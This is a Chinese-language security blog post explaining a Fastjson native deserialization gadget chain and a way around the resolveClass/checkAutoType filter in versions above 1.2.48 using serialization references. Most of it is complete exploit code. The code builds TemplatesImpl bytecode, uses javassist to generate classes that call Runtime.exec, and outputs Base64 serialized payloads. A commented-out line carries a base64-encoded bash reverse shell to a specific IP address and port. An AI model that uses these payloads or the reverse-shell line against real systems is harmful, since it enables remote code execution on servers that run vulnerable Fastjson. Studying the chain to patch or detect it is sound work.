Fastjson原生反序列化

fj1<=1.2.48 & fj2<2.0.26(目前)

先给出EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import javax.management.BadAttributeValueExpException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.alibaba.fastjson.JSONArray;



public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\Calc.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Class c = BadAttributeValueExpException.class;
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,jsonArray);

serialize(badAttributeValueExpException);
unserialize("./ser.bin");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
byte[] serialize = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(serialize));


}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

个人还是比较喜欢这条链子,也是属于fj的真原生反序列化了

利用BadAttributeValueExpException#readObjct中对于readObject的调用调用fj中的JSON#toString

image-20240419150339444

由于JSON为抽象类,所以我们选用继承他的JSONArray

image-20240419151012146

image-20240419151000689

在toJsonString中调用传入类的getter方法,结合BadAttributeValueExpException的tostring调用,即可将链子连接起来

fj>1.2.48

WAF分析

49版本对于JSONArray类进行了readObject类的重写,在其中调用了resoleveClass

image-20240419194302593

image-20240419194333923

image-20240419194249623

在这里调用了checkAutoType对恶意类进行了waf,对fj了解的师傅应该对这个函数并不陌生

绕过思路

如何绕过resoleveClass的检测?

我们查看ObjectInputStream#readObject0的源码

image-20240419220059491

我们看switch部分,不会调用resoleveClass的就只有TC_NULL、TC_REFERENCE、TC_LONGSTRING、TC_EXCEPTION、TC_STRING这几种,但是其中有用的就只有reference引用类型了

绕过步骤

测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;

public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
serialize(arrayList);
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

我们断点运行一下

image-20240419220820005

我们观察调用栈和断点位置,这里的elementData就存储的我们传入的两个templates对象,跟进writeObject(ObjectOutputStream#writeObject)方法

image-20240419221015780

其调用了writeObject0方法,我们继续跟进

image-20240419221057050

image-20240419221416066

可以发现在断点处,如果我们传入的对象是已经存在的,那么就会调用writeHandle写入,也就是引用写入,这样就将我们的templates以reference格式写了进去,进而完成了绕过

简单整理:

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class TestPayload {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception {


// TemplatesImpl templates = TemplatesImpl.class.newInstance();
// setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}")});
// setValue(templates, "_name", "qiu");
// setValue(templates, "_tfactory", null);

TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E:\\漏洞复现\\fjyuansheng\\target\\classes\\shell.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates, bd);

serialize(hashMap);
unserialize("./ser.bin");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
byte[] serialize = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(serialize));
// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}